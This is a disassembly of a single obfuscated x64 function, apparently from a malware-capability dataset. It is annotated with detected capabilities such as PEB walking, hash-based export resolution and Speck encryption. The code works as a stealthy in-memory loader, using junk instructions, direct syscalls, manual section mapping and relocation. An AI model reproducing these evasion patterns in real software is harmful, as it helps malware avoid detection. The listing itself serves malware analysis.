Function at 0x14043fb84
Capabilities:
Access peb ldr_data
Encode data using base64
Encrypt data using speck
Get kernel32 base address
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
clc
push rsi
push rdi
cmp rsi, 0x1bc87d9d
test edi, 0x7ec62f84
clc
push rbp
test r14w, 0x5a37
stc
test rsp, rbx
push rbx
sub rsp, 0x78
clc
cmp qword [0x1400dd010], 0
je 0x14043fc16
xor eax, eax
jmp 0x14043fbc6
lea rcx, [section.MWSteax0]
seta r15b
btr r15w, ax
bt r15, rcx
nop word cs:[rax + rax]
ror r15, 0x9a
lea r15, [rax + 0x10]
test r11w, r9w
cmp sil, 0x98
cmp qword [rax + rcx + 0x20], 0
movzx rax, di
movzx eax, bp
movsx eax, r8w
mov rax, r15
jne 0x14043fbeb
jmp 0x14043fc23
sub r15d, r15d
bts r12w, bp
neg cl
sbb r8b, spl
movabs r12, 0xcbf29ce484222325
bt r10w, bp
bts r13w, r15w
rol r10w, 0xfa
movabs r13, 0x1d12a89b9e723ff5
setb cl
bts r8w, r15w
mov rcx, qword gs:[0x30]
dec r8b
movsx r8w, r8b
btc r10d, ebx
mov rcx, qword [rcx + 0x60]
bsr r10w, si
cmovg r10w, r15w
adc r8, 0x1d011004
mov r10, qword [rcx + 0x18]
bts r8w, r12w
bsf r8, rax
movzx r8w, sil
add r10, 0x10
xchg r8b, r8b
movsx r8, di
movsxd r8, eax
movabs r8, 0x2cc10c8855a9a8cd
jmp 0x14043fca7
jmp 0x14043fcba
cmp rbx, r8
jmp 0x14043fcb4
je 0x14043fdbb
mov r10, qword [r10]
bswap r9d
movsxd r9, ebx
xchg r9w, r9w
mov r9, qword [r10 + 0x30]
clc
stc
test r9, r9
jmp 0x14043fcd5
je 0x140440025
mov r11, qword [r10 + 0x60]
mov rdi, 0xffffffffffffffff
test r9b, 0xca
cmp spl, dl
cmp word [r11 + rdi*2 + 2], 0
jmp 0x14043fcf9
lea rdi, [rdi + 1]
jne 0x14043fced
mov rbx, r12
clc
test rdi, rdi
jmp 0x14043fd0f
je 0x14043fcac
xor ecx, ecx
test bpl, 0xb1
mov rdx, r12
btr si, 0x7b
and sil, al
sub rbp, rdx
nop word [rax + rax]
bts ax, ax
cmp r9d, 0x2f8c0e53
movzx ebx, word [r11 + rcx*2]
not al
lea ebp, [rbx - 0x41]
xor sil, al
shld rsi, r10, 0xd8
dec ax
lea esi, [rbx - 0x410]
btr ax, 0x79
bt rax, rdx
lea eax, [rbx + 0x20]
cmp si, 0x20
jmp 0x14043fd6a
cmovb ebx, eax
cmp bp, 0x1a
jmp 0x14043fd76
cmovb ebx, eax
movzx ebx, bx
jmp 0x14043fd85
xor rbx, rdx
shld dx, r9w, 0xc3
imul rbx, r13
movzx rdx, di
inc ecx
adc rdx, r13
adc rdx, 0xeed7537
dec rdx
mov rdx, rbx
cmp rcx, rdi
jmp 0x14043fdb0
jb 0x14043fd3a
jmp 0x14043fcac
test r10, r10
jmp 0x14043fdc3
je 0x140440025
movsxd rax, dword [r9 + 0x3c]
inc rdx
xor cl, r13b
cmovne ecx, esi
mov eax, dword [r9 + rax + 0x88]
or dl, r14b
movsx cx, bl
cwd
lea rcx, [r9 + rax]
not rdx
sbb edx, 0x35221fe7
test rax, rax
movzx edx, si
cmove rcx, rax
bt dx, 0xf8
cmp r9b, 0x81
mov qword [rsp + 0x38], rcx
movsx edx, ax
and dl, r13b
mov edx, dword [rcx + 0x18]
test edx, edx
jmp 0x14043fe1c
je 0x140440025
mov rax, qword [rsp + 0x38]
shld r10w, r14w, 0x46
shl ecx, cl
mov ecx, dword [rax + 0x20]
shld r10w, r12w, 0x17
lea rcx, [rcx + r9]
bsr r10, r8
jmp 0x14043fe49
mov qword [rsp + 0x40], rcx
rcr r10b, 0xc0
jmp 0x14043fe57
mov r10d, dword [rax + 0x24]
lea r10, [r10 + r9]
movsxd r8, r13d
btc r8w, 0x95
mov r8d, dword [rax + 0x1c]
add r8, r9
clc
sub edi, edi
jmp 0x14043fe77
jmp 0x14043fe9c
mov edx, dword [rsp + 0x20]
inc rdi
or ax, r10w
sar ax, cl
stc
mov eax, edx
cmc
cmp rdi, rax
jmp 0x14043fe96
jae 0x140440025
movzx ecx, word [r10 + rdi*2]
mov bl, bh
cmc
mov ebx, dword [r8 + rcx*4]
cmp dword [r9 + rbx], 0xb8d18b4c
jmp 0x14043feb5
jne 0x14043fe80
mov dword [rsp + 0x20], edx
test r13, rcx
shr bpl, 0x96
movsx rbp, r10w
mov rax, qword [rsp + 0x40]
bswap ebp
and bpl, r13b
mov esi, dword [rax + rdi*4]
test r8, 0x642067c9
setae bpl
add rsi, r9
bt bp, 0xc
not bp
rcl ebp, 0xe7
mov rbp, 0xffffffffffffffff
stc
nop dword [rax + rax]
test r10d, r8d
cmp byte [rsi + rbp + 1], 0
jmp 0x14043ff0a
lea rbp, [rbp + 1]
jmp 0x14043ff13
jne 0x14043ff00
mov rcx, r12
test rbp, rbp
jmp 0x14043ff24
je 0x14043ffa7
xor r14d, r14d
mov r11, r12
test edx, esp
nop dword [rax]
movzx ecx, byte [rsi + r14]
rcl rax, 0xa
test cl, ah
cmp bl, r8b
lea edx, [rcx - 0x41]
sar al, cl
lea eax, [rcx + 0x20]
cmp rdx, rax
jmp 0x14043ff57
cmp dl, 0x1a
jmp 0x14043ff5f
movzx eax, al
jmp 0x14043ff67
cmovae eax, ecx
movsx rcx, al
cmp sil, 0xda
cmp r13w, r14w
cmc
xor rcx, r11
imul rcx, r13
movsxd r11, esi
setge r11b
inc r14d
btc r11d, 0xec
shrd r11d, esi, 0x38
mov r11, rcx
stc
test r11b, sil
cmp r14, rbp
jmp 0x14043ffa1
jb 0x14043ff39
mov rsi, qword [0x1400dd010]
test rsi, rsi
jmp 0x14043ffb6
je 0x14043fe7c
lea rbp, [0x1400dd020]
stc
cmc
nop word cs:[rax + rax]
cmc
cmp rsi, rcx
je 0x14043ffff
mov rsi, qword [rbp]
cmc
add rbp, 0x10
jmp 0x14043ffec
test rsi, rsi
jmp 0x14043fff4
jne 0x14043ffd5
jmp 0x14043fe7c
mov eax, dword [rbx + r9 + 4]
mov dword [rbp - 8], eax
mov rax, qword [rsp + 0x38]
movsx dx, r8b
movsx rdx, r11w
movsxd rdx, r9d
mov edx, dword [rax + 0x18]
jmp 0x140440020
jmp 0x14043fe80
test r15, r15
je 0x1404400d1
sub ebp, ebp
cmp r13b, 0xf6
seto bl
movsx bx, bpl
lea rbx, [section.MWSteax0]
movzx rdx, bp
bsf edx, eax
mov rcx, r12
neg dl
nop dword [rax]
movzx rdx, bp
movzx edx, byte [rbp + rbx + 0x10]
jmp 0x140440063
xor rcx, rdx
cmp r8, 0x4e7a6517
test bx, 0x6149
imul rcx, r13
inc ebp
cmp rbp, r15
jb 0x140440056
movabs rdx, 0xe9203a08b69f42e8
test r11, rcx
cmp bp, 0xf86
test esi, 0x5a0c5811
add rcx, rdx
movabs rdx, 0x52aea00e8a0b3911
test dx, dx
cmp r15w, r11w
xor rdx, rcx
xor cl, r12b
cmp r8b, r9b
bsf ecx, r12d
movabs rcx, 0xee16cad6b000daab
add rcx, rdx
jmp 0x1404400cc
jmp 0x1404400e4
movabs rcx, 0xd5d341ba60cb39c7
movsx eax, cx
ror rax, 0xec
rcl ah, cl
rol rcx, 0x16
movabs rax, 0x957b6a83b7a0090f
cmp sil, dil
cmc
xor rax, rcx
sbb cx, 0x35e8
movabs rcx, 0xec0e237d69308474
lea rcx, [rcx + rax]
cmc
mov qword [0x1400b7208], rcx
stc
cmp qword [0x1400de010], 0
jmp 0x140440122
je 0x140440162
xor ecx, ecx
sal dl, 0x6f
sal dx, cl
lea rdx, [section..iieuFx1]
sal ax, 0x3a
bt rax, 0xe
nop
lea rax, [rcx + 0x10]
cmp qword [rcx + rdx + 0x20], 0
movsxd rcx, esp
mov rcx, rax
jmp 0x140440157
jne 0x140440142
jmp 0x140440169
xor eax, eax
cmp bx, 0x2bd5
mov qword [rsp + 0x60], rax
sub ecx, ecx
jmp 0x140440175
jmp 0x140440191
mov rcx, qword [rsp + 0x30]
jmp 0x140440184
inc rcx
cmp rcx, 8
je 0x140440573
lea rax, [0x1400bfdf0]
bts r10d, r15d
mov qword [rsp + 0x30], rcx
movzx r10w, r11b
rol r8w, cl
shr r10w, 1
mov r8, qword [rax + rcx*8]
mov rax, qword gs:[0x30]
mov r10w, bp
bts r10, rcx
xor r10b, 0xa7
mov rax, qword [rax + 0x60]
sar r10w, 0x49
mov r10, qword [rax + 0x18]
test bx, bx
add r10, 0x10
jmp 0x1404401ee
cmp rdx, r8
jmp 0x1404401e8
je 0x1404402f6
mov r10, qword [r10]
test ebx, 0x587e106f
and r11b, dl
shr r11w, 0x81
mov r11, qword [r10 + 0x30]
cmc
test r11, r11
jmp 0x14044020c
je 0x14044017a
mov r14, qword [r10 + 0x60]
shr ebx, cl
sbb bh, 0x2a
cmovbe rbx, rcx
mov rbx, 0xffffffffffffffff
nop dword [rax]
cmp word [r14 + rbx*2 + 2], 0
jmp 0x140440236
lea rbx, [rbx + 1]
jmp 0x14044023f
jne 0x14044022a
mov rdx, r12
test ax, 0x34a9
cmp ax, 0x6e84
test rbx, rbx
je 0x1404401e0
sub ecx, ecx
rcr bpl, 0xd7
movsx rdx, cx
mov rdi, r12
and edx, esp
cmova ebp, ebx
nop word [rax + rax]
movzx eax, word [r14 + rcx*2]
bsf si, r9w
lea edx, [rax - 0x41]
sub sil, 0x57
lea esi, [rax - 0x410]
sar bpl, cl
not bpl
lea ebp, [rax + 0x20]
test si, 0x25e
jmp 0x14044029c
cmp si, 0x20
jmp 0x1404402a5
cmovb eax, ebp
test sp, r9w
cmp r12b, r12b
cmp dx, 0x1a
movsx dx, r8b
cmovb eax, ebp
xadd edx, edx
movsxd rdx, esi
cdq
movzx edx, ax
cmp r13b, r9b
jmp 0x1404402cd
xor rdx, rdi
rcr di, 0xec
sub rdi, 0x714c2bc6
imul rdx, r13
inc ecx
rcr di, cl
mov rdi, rdx
stc
cmp rcx, rbx
jb 0x140440271
jmp 0x1404401e0
test r10, r10
je 0x14044017a
movzx eax, word [r11]
cmp ch, 0x2e
clc
test sp, r12w
cmp eax, 0x5a4d
jmp 0x140440315
jne 0x140440350
movsxd rax, dword [r11 + 0x3c]
ror cl, cl
bt cx, r12w
lea rcx, [r11 + rax]
test ah, 0x19
stc
cmp dword [r11 + rax], 0x4550
movsxd rax, r13d
cmove r9, r11
mov rax, qword [rsp + 0x58]
jmp 0x140440347
cmove rax, rcx
jmp 0x140440355
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x58], rax
ror bpl, 0xc6
shl bp, 0x8c
dec bpl
mov ecx, dword [rax + 0x88]
cmp ax, 0x2334
ror bpl, 0x58
sbb ah, 7
lea rax, [r9 + rcx]
xor bp, r11w
rcr ebp, 0x29
dec bp
test rcx, rcx
cmovbe rbp, rcx
not bp
mov bpl, r14b
cmove rax, rcx
mov ebp, dword [rax + 0x18]
test ebp, ebp
jmp 0x14044039f
je 0x14044017a
mov r14d, dword [rax + 0x20]
btc ecx, 0x11
lea r14, [r14 + r11]
mov ecx, dword [rax + 0x24]
jmp 0x1404403b9
lea rcx, [rcx + r11]
stc
cmp bp, ax
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x20], rax
mov eax, dword [rax + 0x1c]
clc
stc
lea rax, [rax + r11]
cmp r13b, 0xf7
test r9w, dx
mov qword [rsp + 0x38], rax
cmc
sub esi, esi
jmp 0x140440440
mov rax, qword [rsp + 0x40]
movzx eax, word [rax + rsi*2]
mov bpl, 0x99
add dl, spl
mov rdx, qword [rsp + 0x38]
sar bpl, 0x84
mov eax, dword [rdx + rax*4]
add rax, r11
mov qword [rcx - 8], rax
mov rax, qword [rsp + 0x20]
movsx rbp, r12w
movzx rbp, bp
mov ebp, dword [rax + 0x18]
cdqe
setb al
movsx eax, r9w
inc rsi
adc rax, r15
movzx eax, si
sub eax, r15d
mov eax, ebp
cmp rsi, rax
jmp 0x14044043a
jae 0x14044017a
mov r8d, dword [r14 + rsi*4]
adc ebx, 0x3cd100af
add r8, r11
movsx rbx, r15w
movsx bx, dil
mov rbx, 0xffffffffffffffff
stc
nop dword [rax]
cmp byte [r8 + rbx + 1], 0
jmp 0x14044046d
lea rbx, [rbx + 1]
jmp 0x140440476
jne 0x140440462
mov r10, r12
clc
jmp 0x140440485
test rbx, rbx
je 0x14044050a
sub ecx, ecx
shld r15d, r10d, 0xa3
mov r15, r12
nop dword [rax]
and edi, r11d
movzx edi, byte [r8 + rcx]
shld rax, r12, 0x53
lea eax, [rdi - 0x41]
movzx edx, r15w
lea edx, [rdi + 0x20]
cmp bl, r8b
sub r10, rbp
cmp al, 0x1a
setbe r10b
mov r10d, 0xc4a5cbf
movzx eax, dl
bswap r10w
not r10b
setne r10b
cmovae eax, edi
movsx r10, al
cmp ax, 0x55e5
xor r10, r15
clc
and r15b, 0x39
imul r10, r13
setne r15b
movsxd r15, edi
inc r15d
inc ecx
mov r15, r10
cmp rcx, rbx
jmp 0x140440504
jb 0x1404404a2
mov rbx, qword [0x1400de010]
stc
jmp 0x14044051a
test rbx, rbx
je 0x140440424
lea rcx, [0x1400de020]
cmp dil, spl
jmp 0x140440532
nop dword [rax + rax]
cmp rbx, r10
jmp 0x14044053f
je 0x1404403e9
mov rbx, qword [rcx]
cmc
jmp 0x14044054e
add rcx, 0x10
cmp r8w, 0x30fb
jmp 0x140440560
test rbx, rbx
jmp 0x140440568
jne 0x140440537
jmp 0x140440424
mov rax, qword [rsp + 0x60]
cmp dil, 0x93
test rax, rax
je 0x1404405cc
sub ecx, ecx
movzx rbp, r8w
lea rbp, [section..iieuFx1]
sar dh, 0xd9
xadd dl, dl
sal dh, 0xf
nop dword [rax]
movzx edx, byte [rcx + rbp + 0x10]
cmp r13, 0x4fa0656a
xor rdx, r12
imul rdx, r13
xchg r12, r12
inc ecx
mov r12, rdx
cmp rcx, rax
jmp 0x1404405c1
jb 0x14044059e
jmp 0x1404405d2
mov rdx, r12
rol ah, 0x4d
rol rdx, 0xb
ror ecx, 0x5a
btr ecx, eax
movabs rax, 0xdf7ad2359957b5f4
add rax, rdx
bts cx, di
rol rax, 0x16
rcr cl, 0xe7
movabs rcx, 0x4934245b3ce013cf
cmp rbp, rdi
xor rcx, rax
shl eax, 0x5b
stc
movabs rax, 0x5b5c0083c64fa867
cmp r9b, 0x30
add rax, rcx
movzx cx, r11b
rol rax, 0xc
movsx cx, r9b
rcr cl, 0x33
rol cx, cl
movabs rcx, 0xdd5421de87040723
cmc
stc
add rcx, rax
rcl rax, 0x78
nop
mov ah, 0xd6
rol rcx, 0x25
sbb al, 0x4b
btr rax, 0x54
mov qword [0x1400b7210], rcx
mov eax, dword [0x7ffe0014]
movsx rcx, r11w
adc ecx, 0x28aa0345
shrd cx, r15w, 0xc3
mov dword [0x1400b8eb8], eax
add ecx, 0x538c6493
movzx ecx, word [0x140000000]
test sp, 0x19fd
clc
cmp ecx, 0x5a4d
jmp 0x140440692
jne 0x1404406e3
movsxd rcx, dword [0x14000003c]
lea rdx, [0x140000000]
jmp 0x1404406ab
cmp dword [rcx + rdx], 0x4550
jmp 0x1404406b7
jne 0x1404406e3
lea rbx, [rcx + rdx]
movsx rbp, ax
lea r14, [rcx + rdx]
sub cx, 0x7538
movsx ebp, r14w
btc ebp, 0xd6
add r14, 0x108
bswap rcx
mov bpl, r11b
imul eax, eax, 0x41c64e6d
xor r12w, 0x4193
shrd r13, r14, 0xa8
add eax, 0x3039
bt r12w, 0x38
imul ecx, eax, 0x41c64e6d
sal bpl, cl
sar dh, 0x85
shr eax, 0x10
bts r9d, r15d
lea edx, [rax + rax*2]
test r14b, 0xc2
shr edx, 0x10
movzx r9w, bl
adc r9w, dx
mov ebp, eax
rcl r13, 0x4a
sub ebp, edx
ror r10b, cl
movzx ebp, bp
cmp al, sil
rcr r10d, 0x5c
shr ebp, 1
btr r10, rbp
shl r9, 0x42
movzx r12, r10w
add ebp, edx
movsx r13, sp
movzx r13d, bp
shr r13d, 0xe
cmc
add r12w, 0x11a8
add r13d, eax
and r13d, 0x3fff
shl r9b, 0xaf
add r12b, r14b
sbb dl, 0x91
add r13d, 0xfff
and r13d, 0x7000
add ecx, 0x3039
rcl dx, cl
mov dword [0x1400b8eb8], ecx
or r10, r8
neg r12b
shr ecx, 0x10
add ax, sp
lea eax, [rcx + rcx*2]
movsx rdx, r10w
movzx r9d, r14w
add r9b, r14b
shr eax, 0x10
movsx r9w, r13b
mov r12b, dl
setg r9b
mov edx, ecx
add r9b, 0x94
sub r9, rsp
sub edx, eax
ror r9b, cl
shl r10b, cl
cmp r13b, 0x62
movzx edx, dx
btr r9w, di
cmp bpl, 0x9e
shr edx, 1
ror r9, cl
test r8b, 0xb
add edx, eax
movzx r12d, dx
add eax, 0x38a63a06
cmp di, 0x6b41
shr r12d, 0xe
and rax, 0x6dda2706
add r12d, ecx
rcr rdx, 0x57
and r12d, 0x3fff
sal dl, 6
adc ecx, 0x4ccb3c7b
add r12d, 0xfff
sar r10b, 0xcb
bsr ax, r14w
shr r9, 0xbe
and r12d, 0x7000
mov qword [rsp + 0x28], 0
movsx rax, di
not r9b
mov qword [rsp + 0x20], rbx
sub r9d, 0x4f86705d
btc cx, 0x9b
mov ecx, dword [rbx + 0x50]
sub r10w, r14w
shld r9w, r12w, 2
add rcx, r12
cmp ebp, 0x6bd85f5b
lea rcx, [rcx + r13]
shr r9b, cl
mov qword [rsp + 0x48], rcx
not dl
mov eax, dword [0x1400dd078]
xadd dx, r10w
lea rdx, [rsp + 0x28]
sal r10w, 0x42
movsx r9d, r14w
rol r10b, cl
lea r9, [rsp + 0x48]
mov r10, 0xffffffffffffffff
test rax, 0x437238aa
sub r8d, r8d
cmp cx, di
sub rsp, 0x40
jmp 0x1404408b0
mov qword [rsp + 0x28], 0x3000
jmp 0x1404408be
mov qword [rsp + 0x30], 4
syscall
add rsp, 0x40
mov ch, 0x44
movsx ecx, bp
inc cx
mov rcx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x48]
jmp 0x1404408ea
sub edx, edx
jmp 0x1404408f1
call fcn.1404a1a23
mov r15, qword [rsp + 0x28]
cmp ax, 0x7efb
clc
test r13d, r13d
jmp 0x140440908
je 0x140440b5c
mov rcx, r13
dec ah
rcr dil, 0x6d
shr rcx, 3
not rax
cmp rcx, 2
cwd
mov r8d, 1
cdq
xchg dl, al
setbe sil
cmovae r8, rcx
cmc
sub r9d, r9d
cwde
mov rdi, 0x410d290f
and sil, 0xc7
nop word cs:[rax + rax]
inc bp
bt dx, 0x3d
rcl esi, cl
imul edx, dword [0x1400b8eb8], 0x41c64e6d
xor eax, 0xa127c0a
or ah, 0xa2
movzx bx, r12b
add edx, 0x3039
bt ax, r9w
bts rdi, r11
sal rsi, 0x6b
imul edi, edx, 0x41c64e6d
test rdx, r9
mov ebp, edx
sub rsi, rbp
movsx esi, r10w
cdqe
shr ebp, 0x10
or cx, r12w
lea edx, [rbp + rbp*2]
shr al, 0xa4
shr edx, 0x10
mov eax, ebp
btr si, 0x71
sub eax, edx
movzx eax, ax
stc
or sil, r14b
shr eax, 1
rcl ecx, 0x3d
shr ch, 0x88
sub cx, 0x43eb
add eax, edx
test r13b, bl
mov cl, dil
add edi, 0x3039
movsx rdx, r13w
shr ecx, cl
sub cx, 0x5c55
movzx edx, ax
mov eax, edi
btc si, 0x81
shr eax, 0x10
lea ebx, [rax + rax*2]
shr edx, 0xe
shl ch, 0xd0
shr ebx, 0x10
mov sil, 0x44
rol cl, 0xc9
add rcx, rbx
mov esi, eax
sub esi, ebx
rcl ch, cl
movzx cx, r14b
sets ch
mov ecx, edx
jmp 0x140440a1b
movzx esi, si
shr esi, 1
clc
add esi, ebx
sub bl, 0x6a
movsxd rbx, ecx
sbb bl, r12b
shl ecx, 0xf
movzx ebx, si
inc sil
shrd rsi, r9, 0x82
shr ebx, 0xe
mov esi, ebx
sub edx, ecx
setb cl
bts rcx, r14
cmc
shl esi, 0xf
rcr ch, 0x74
sub ebx, esi
btc rcx, r8
setp ch
btr cx, 0xc2
add ebx, eax
add edx, ebp
xor ebp, ebp
bts cx, r14w
neg bpl
cmp bx, 0x10
mov rcx, 0x580a4e38
setb bpl
imul eax, edi, 0x41c64e6d
add eax, 0x3039
imul ecx, eax, 0x41c64e6d
cmp r9b, 0xff
and bh, 0xaf
shr eax, 0x10
add bh, 0xab
lea ebx, [rax + rax*2]
add di, 0x37cc
test rcx, 0x73914f5b
shr di, 0xc
shr ebx, 0x10
mov di, r14w
mov edi, eax
test ax, 0x1eb8
test r14b, spl
sub edi, ebx
movzx edi, di
shr edi, 1
add edi, ebx
cmc
bsr rbx, r10
movzx edx, dx
mov bx, sp
sar ebx, cl
shrd bx, r10w, 0xf6
movzx ebx, di
xor dil, r8b
shr ebx, 0xe
btc di, bx
mov edi, ebx
or rbp, rdx
test ebp, esi
stc
cmp rcx, r13
shl edi, 0xf
cmp eax, edi
stc
test r11w, 0x480c
sub ebx, edi
cmc
test r11b, 0xd4
test r14b, sil
add ebx, eax
cmp dl, 0xd
add ecx, 0x3039
sub eax, eax
ror al, cl
or al, spl
cmp bx, 0x20
mov al, 0x34
jmp 0x140440b22
setb al
test sil, 0x3e
mov dword [0x1400b8eb8], ecx
stc
or rax, rbp
jmp 0x140440b38
mov qword [r15 + r9*8], rax
inc r9
jmp 0x140440b48
cmp r8, r9
jne 0x140440959
mov r15, qword [rsp + 0x28]
clc
cmc
test r15w, dx
test r12, r12
jmp 0x140440b64
je 0x140440d8b
sub r15, r12
movzx bx, r13b
add r15, qword [rsp + 0x48]
btr r8, r14
cdqe
shr r12, 3
cmp r12, 2
mov r8d, 1
movsx rdi, r13w
movzx rdi, r10w
movzx ecx, bp
cmovae r8, r12
btr rdx, r8
cqo
xor r9d, r9d
xadd dx, di
cwd
nop
movzx cx, r10b
bsf rbx, r14
test r15b, r12b
imul edx, dword [0x1400b8eb8], 0x41c64e6d
add edx, 0x3039
imul edi, edx, 0x41c64e6d
mov ebp, edx
shr ebp, 0x10
xadd bl, ah
lea edx, [rbp + rbp*2]
rcr sil, cl
shr edx, 0x10
cmp r13b, sil
mov ebx, ebp
sub ebx, edx
ror ch, 0x80
sbb cl, bl
movzx ebx, bx
cdqe
shr ebx, 1
sal ch, 0xd9
add ebx, edx
add edi, 0x3039
shr ah, cl
movzx rax, dx
cmp r14b, r8b
movzx edx, bx
mov ebx, edi
cbw
bts si, r10w
movzx rcx, bx
shr ebx, 0x10
shld rcx, r9, 0x8a
movsxd rcx, eax
lea esi, [rbx + rbx*2]
cmp r15w, 0x46e0
sbb cl, 0x42
clc
shr edx, 0xe
rcr eax, cl
shr esi, 0x10
mov eax, ebx
mov ecx, 0x77157103
inc ch
sub eax, esi
cmove cx, r11w
mov ecx, edx
jmp 0x140440c4d
movzx eax, ax
test r11b, 0x9e
test si, si
shr eax, 1
add eax, esi
not si
bts si, dx
shl ecx, 0xf
and sil, r14b
xor sil, 7
movzx eax, ax
shr eax, 0xe
mov esi, eax
cmp ah, 0x9b
test r13b, bpl
sub edx, ecx
bswap cx
shl esi, 0xf
adc cl, r8b
bts cx, bp
movsx rcx, r13w
sub eax, esi
add eax, ebx
and rcx, 0x682267a2
cmc
add edx, ebp
shr ch, 0x11
adc ch, 0x82
movsx rbx, bx
xor ebp, ebp
cmp ax, 0x10
cwde
setb bpl
test esp, r12d
dec ah
imul eax, edi, 0x41c64e6d
stc
movzx ecx, r11w
add eax, 0x3039
imul ecx, eax, 0x41c64e6d
rcr bx, cl
neg edi
shr eax, 0x10
bsf rdi, rbx
lea ebx, [rax + rax*2]
shr ebx, 0x10
add rdi, 0x31d22a50
mov edi, eax
stc
jmp 0x140440ced
sub edi, ebx
cmc
test r15b, 0xec
movzx edi, di
test ebp, 0x52f25d65
jmp 0x140440d02
shr edi, 1
add edi, ebx
cmovbe rbx, r10
add bx, 0x364b
movzx edx, dx
movsxd rbx, r10d
sbb bx, si
movzx ebx, di
and di, 0xe8d
shr ebx, 0xe
movzx edi, r12w
mov edi, ebx
or rbp, rdx
cmp dl, 0x46
cmc
test ah, 0xba
shl edi, 0xf
sub ebx, edi
add ebx, eax
test dx, cx
cmp r8b, 0xc5
add ecx, 0x3039
stc
sub eax, eax
cmp bx, 0x20
not al
setb al
clc
cmc
mov dword [0x1400b8eb8], ecx
cmc
cmp r14b, r14b
or rax, rbp
jmp 0x140440d67
mov qword [r15 + r9*8], rax
jmp 0x140440d70
inc r9
jmp 0x140440d78
cmp r8, r9
jmp 0x140440d80
jne 0x140440bb7
mov r15, qword [rsp + 0x28]
mov rax, qword [rsp + 0x20]
lea r15, [r15 + r13]
jmp 0x140440d99
movzx eax, word [rax + 6]
test r9d, r9d
jmp 0x140440da5
test rax, rax
je 0x140440ec0
shl rax, 3
lea rbp, [rax + rax*4]
shrd eax, r8d, 0xd
xor edi, edi
mov ebx, 4
rol r8w, cl
lea rsi, [rsp + 0x70]
rcr dx, 0x9d
dec r8b
stc
lea r12, [rsp + 0x68]
btr edx, eax
lea r13, [rsp + 0x54]
nop dword [rax + rax]
inc r8
mov edx, dword [r14 + rdi + 0xc]
add r8d, esp
lea rcx, [r15 + rdx]
setb al
cmp bpl, 0xa2
jmp 0x140440e00
mov qword [rsp + 0x70], rcx
cwde
bsf r8w, sp
lea rax, [0x140000000]
shr r8w, 0x6a
bsf r8w, cx
add rdx, rax
setae r8b
movsx r8, bp
mov r8d, dword [r14 + rdi + 8]
jmp 0x140440e31
call fcn.1404a0f31
mov eax, dword [r14 + rdi + 8]
shld rdx, r10, 0x28
mov qword [rsp + 0x68], rax
movsxd r9, edi
mov dword [rsp + 0x54], 0
test dword [r14 + rdi + 0x24], 0x20000000
cbw
not r9b
movsx r8w, r9b
mov r9d, 0x40
movsx r10w, bl
cmove r9d, ebx
clc
mov eax, dword [0x1400dd088]
bts r8, r12
bts r8d, edi
cmc
mov r10, 0xffffffffffffffff
mov rdx, rsi
inc r8b
mov r8, r12
stc
sub rsp, 0x30
jmp 0x140440e9c
mov qword [rsp + 0x28], r13
jmp 0x140440ea6
syscall
add rsp, 0x30
stc
cmp dl, dh
add rdi, 0x28
cmp ebp, edi
jmp 0x140440eba
jne 0x140440de8
lea rdx, [0x140000000]
mov rax, r15
sub rax, rdx
xor cx, r8w
xchg cl, ch
movsx ecx, r10w
mov rsi, qword [rsp + 0x20]
shl cx, cl
mov ecx, dword [rsi + 0xb0]
add rcx, rdx
jmp 0x140440eed
je 0x140440fe3
mov r8d, 1
jmp 0x140440efe
jmp 0x140440f19
mov ebx, dword [rcx + 4]
jmp 0x140440f0b
add rcx, rbx
jmp 0x140440f13
je 0x140440fe3
cmp dword [rcx], 0
jmp 0x140440f21
je 0x140440fe3
mov ebx, dword [rcx + 4]
test bp, di
test rbx, rbx
jmp 0x140440f35
je 0x140440fe3
lea rbp, [rbx - 8]
cmc
jmp 0x140440f49
cmp rbp, 2
jmp 0x140440f52
jb 0x140440f0b
shr rbp, 1
jmp 0x140440f60
cmp rbp, 2
jmp 0x140440f69
cmovb rbp, r8
sub ebx, ebx
jmp 0x140440fa7
and edi, 0xfff
bt rdx, 0xd7
mov edx, dword [rcx]
lea rdi, [rdi + r15]
add qword [rdx + rdi], rax
jmp 0x140440f8e
inc rbx
cmp cl, sil
jmp 0x140440f99
cmp rbp, rbx
jmp 0x140440fa1
je 0x140440f03
movzx edi, word [rcx + rbx*2 + 8]
cmp edi, 0x1000
jmp 0x140440fb7
jb 0x140440f8e
mov edx, edi
shr edx, 0xc
cmp edx, 0xa
jmp 0x140440fca
je 0x140440f74
cmp edx, 3
jmp 0x140440fd8
je 0x140440f74
jmp 0x140440f8e
mov ecx, dword [rsi + 0xd0]
jmp 0x140440fee
movq xmm0, rax
pshufd xmm0, xmm0, 0x44
movdqu xmm1, xmmword [r15 + rcx]
jmp 0x140441003
movdqu xmm2, xmmword [r15 + rcx + 0x10]
jmp 0x14044100f
paddq xmm1, xmm0
movdqu xmmword [r15 + rcx], xmm1
jmp 0x14044101e
paddq xmm2, xmm0
movdqu xmmword [r15 + rcx + 0x10], xmm2
mov cl, 0x3f
ror ecx, 0x69
lea rdx, [0x14005d630]
seto ch
add rdx, rax
setnp cl
movsx cx, cl
movzx ecx, r10w
lea rcx, [0x140000000]
call rdx
nop
add rsp, 0x78
cmovl rbp, rbp
movsx rbx, r15w
pop rbx
bswap r13
cmovp si, r13w
pop rbp
pop rdi
movsx r13, sp
pop rsi
movsx r15, di
pop r12
cmovs r14w, di
mov r13d, r9d
pop r13
setns r14b
movsx r14w, bl
mov r14w, 0x2436
pop r14
movzx r15, cx
pop r15
jmp 0x140441097
ret